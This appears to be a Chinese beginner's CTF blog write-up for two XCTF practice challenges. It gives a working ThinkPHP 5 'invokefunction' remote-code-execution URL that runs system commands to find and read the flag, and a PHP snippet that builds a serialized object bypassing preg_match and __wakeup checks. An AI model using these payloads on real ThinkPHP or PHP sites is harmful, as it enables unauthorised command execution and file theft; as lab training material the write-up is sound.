Web攻防世界(四)

it2023-09-17  73

CTF-Web

Web方向(攻防世界——找FLAG)

前期在bilibili学习Web知识、基本漏洞原理、burp、正则表达式的用法…(菜鸟第四天)

php_rce

通过链接查看题目

之前看《web安全攻防》第一章有提及Thinkphp存在远程执行漏洞(Getshell)

利用find函数

http://220.249.52.133:39404/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20flag

利用cat函数

http://220.249.52.133:39404/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

Web_php_unserialize

本题使用正则表达式对传参进行监控

4663.png#pic_center)

精简代码为:

<?php class Demo { private $file = 'fl4g.php';//$file改成fl4g.php } $a= serialize(new demo); $a= str_replace('O:4', 'O:+4',$a);//绕过preg_match $a= str_replace(':1:', ':2:',$a);//绕过wakeup echo base64_encode($a); ?>

即可得到flag

最新回复(0)